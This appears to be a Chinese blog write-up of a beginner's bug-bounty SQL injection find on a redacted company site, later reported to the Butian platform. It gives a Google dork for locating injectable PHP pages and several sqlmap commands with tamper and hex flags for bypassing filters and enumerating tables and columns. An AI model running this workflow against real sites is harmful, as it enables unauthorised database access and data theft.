记录一次SQL注入src挖掘过程

记录一次小白SQL注入src挖掘过程,其中碰到了很多问题,报错和解决

先是使用谷歌语法找到一个可以注入的网站

谷歌语法:

公司inurl:php?id=

然后该公司的URL为

URL:XXXXXXXXXX/xxx.php?id=1

输入'测试有无注入,有没有waf

发现有报错

使用sqlmap寻找注入点

python2 sqlmap.py -u "URL" -force-ssl  -risk 3 -level 5 --tamper=space2comment -dbs

使用这条命令可以发现存在注入点。但是却爆不出库来

python2 sqlmap.py -u "URL" -force-ssl  -risk 3 -level 5 --tamper=space2comment -dbs

记录一次SQL注入src挖掘过程_第1张图片

出现如下报错:

[ERROR] unable to retrieve the number of databases 

[CRITICAL]unable to retrieve the database

[CRITICAL]unable to retrieve the database names

记录一次SQL注入src挖掘过程_第2张图片

查询了博客增加了新的sqlmap参数

--hex

sqlmap将在注入测试期间将字符串转换为十六进制编码,并将其发送到目标应用程序。这可以帮助绕过一些简单的过滤规则,以实现成功的注入。

 --flush-session

可以清除当前会话的所有相关数据,包括清除内存中的缓存数据以及删除临时文件。这样可以确保下一次测试将从一个干净的状态开始,而不会受到上一次测试的影响。

--banner

可以列举数据库管理系统的版本号和最后的补丁级别以及底层的操作系统信息

记录一次SQL注入src挖掘过程_第3张图片

python2 sqlmap.py -u "URL"  --dbs --hex --tamper=space2comment --flush-session --banner

 还是无法爆出数据库

根据提示改成爆破数据表

python2 sqlmap.py -u "URL"  --tables --hex --tamper=space2comment --flush-session --banner

成功爆破出网站的数据表

记录一次SQL注入src挖掘过程_第4张图片

对列名进行爆破 的sqlmap的语句

python2 sqlmap.py -u "URL"  -T user --common-columns --hex  --flush-session --banner

 之后就可以通过sqlmap 自带的字典爆破到它数据表的字段和值,非常的危险和高危,漏洞已经提交补天 

你可能感兴趣的:(sql,数据库)